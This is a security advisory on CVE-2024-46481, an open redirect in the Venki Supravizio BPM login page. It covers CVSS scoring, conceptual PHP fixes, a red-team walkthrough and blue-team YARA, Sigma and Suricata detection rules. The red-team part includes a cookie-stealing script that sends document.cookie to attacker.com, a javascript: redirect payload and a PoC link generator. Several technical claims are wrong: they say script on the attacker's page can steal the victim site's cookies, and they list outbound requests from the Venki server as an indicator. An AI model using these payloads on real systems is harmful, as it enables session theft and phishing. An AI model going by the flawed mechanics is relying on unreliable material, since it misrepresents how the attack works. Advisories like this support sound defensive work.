CVE-2024-46481

Executive Summary

CVE-2024-46481 identifies an open redirect vulnerability in the login page of Venki Supravizio BPM up to version 18.1.1. This flaw allows an attacker to craft a malicious link that redirects an authenticated or unauthenticated user to an external, attacker-controlled domain. Because the redirect is performed without proper validation, it can be leveraged for reflected Cross-Site Scripting (XSS) by appending a javascript: URI or a malicious script payload to the redirect parameter. The vulnerability is publicly known, with proof-of-concept code available, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise BPM (Business Process Management) application. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the victim must click the crafted link.
• Scope: Changed (S:C) – the redirect can lead to a different security domain.
• Confidentiality Impact: Low (C:L) – potential for information disclosure via XSS.
• Integrity Impact: Low (I:L) – attacker can modify content in the victim's browser.
• Availability Impact: None (A:N)

Threat Level: High. The combination of open redirect and reflected XSS allows an attacker to bypass same-origin policy, steal session cookies, or perform phishing attacks. The lack of a patch increases the risk for unmitigated deployments.

Deep Dive & Mechanics

The vulnerability resides in the login page of Venki Supravizio BPM. The application likely uses a redirect or returnUrl parameter to send users back to a specific page after successful authentication. This parameter is not sanitized or validated against a whitelist of allowed domains. An attacker can craft a URL such as:

https://victim-venki.com/login?redirect=https://attacker.com/evil.html

When the victim clicks this link, the application performs an HTTP redirect to https://attacker.com/evil.html. If the attacker appends a javascript: URI or a script payload, the browser may execute it in the context of the original domain, leading to reflected XSS. For example:

https://victim-venki.com/login?redirect=javascript:alert(document.cookie)

The open redirect can also be used for phishing by redirecting to a fake login page that steals credentials.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// login.php
$redirect = $_GET['redirect'];
if ($redirect) {
    header("Location: " . $redirect);
    exit;
}

Patched Code (Conceptual):

// login.php
$allowed_domains = ['https://app.venki.com', 'https://dashboard.venki.com'];
$redirect = $_GET['redirect'];
if ($redirect) {
    $parsed_url = parse_url($redirect);
    if (in_array($parsed_url['scheme'] . '://' . $parsed_url['host'], $allowed_domains)) {
        header("Location: " . $redirect);
        exit;
    } else {
        // Redirect to default page
        header("Location: /dashboard");
        exit;
    }
}

The patched version validates the redirect URL against a whitelist of allowed domains and rejects any URL that does not match.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Venki Supravizio BPM (version <= 18.1.1).
• A publicly accessible attacker-controlled server (e.g., attacker.com).

Exploit Steps:

1. Identify the vulnerable login page (e.g., https://victim-venki.com/login).
2. Craft a malicious URL:

   https://victim-venki.com/login?redirect=https://attacker.com/evil.html
   

3. Host a malicious HTML page on attacker.com/evil.html that performs XSS:

   <html>
   <body>
   <script>
       // Steal cookies
       fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   </body>
   </html>
   

4. Send the crafted URL to the victim via email, social engineering, or other means.
5. When the victim clicks the link, they are redirected to the attacker's page, and the XSS payload executes.

Proof-of-Concept (PoC) Code:

import requests

target = "https://victim-venki.com/login"
redirect_url = "https://attacker.com/evil.html"
payload = f"{target}?redirect={redirect_url}"

print(f"Send this URL to the victim: {payload}")

Blue Team

Detection Steps:

1. Monitor web server logs for unusual redirect parameter values containing external domains or javascript: URIs.
2. Implement a Web Application Firewall (WAF) rule to block requests where the redirect parameter does not match a whitelist of allowed domains.
3. Use browser-based security headers like Content-Security-Policy to restrict script execution.

Mitigation Steps:

1. Apply input validation on the redirect parameter to only allow relative paths or whitelisted domains.
2. If a patch is unavailable, consider disabling the redirect functionality or implementing a server-side proxy that validates the target URL.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the Venki server.
  • HTTP requests containing redirect parameter with external URLs or javascript: URIs.
• File IOCs:
  • Suspicious log entries in access.log or error.log showing redirect attempts to unknown domains.
• Behavioral IOCs:
  • Users reporting unexpected redirects after clicking links.
  • Unusual cookie theft or session hijacking incidents.

Detection Engineering

YARA Rule

rule CVE_2024_46481_Open_Redirect {
    meta:
        description = "Detects open redirect attempts in Venki Supravizio BPM login page"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2024-46481"
    strings:
        $redirect_param = "redirect=" nocase
        $external_domain = /redirect=https?:\/\/[^\/]+\// nocase
        $javascript_uri = /redirect=javascript:/ nocase
    condition:
        $redirect_param and ($external_domain or $javascript_uri)
}

Sigma Rule

title: CVE-2024-46481 Open Redirect in Venki Supravizio BPM
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects open redirect attempts in Venki Supravizio BPM login page
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "redirect="
        cs-uri-query|re: "(https?:\/\/[^\/]+\/|javascript:)"
    condition: selection
falsepositives:
    - Legitimate redirects to whitelisted domains (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46481 Open Redirect in Venki Supravizio BPM"; flow:to_server; content:"redirect="; nocase; pcre:"/redirect=(https?:\/\/[^\/]+\/|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the redirect functionality if not essential for business operations.
2. Implement a whitelist of allowed redirect destinations in the application code.
3. Apply input validation to ensure the redirect parameter only contains relative paths or approved domains.

Long-Term Fix:

• Contact Venki support for an official patch. If unavailable, consider upgrading to a newer version or migrating to a different BPM solution.

Compensating Controls:

• Deploy a WAF with rules to block open redirect attempts.
• Use browser security headers (e.g., X-Content-Type-Options: nosniff, X-Frame-Options: DENY).
• Educate users about phishing attacks and suspicious links.

Valters IT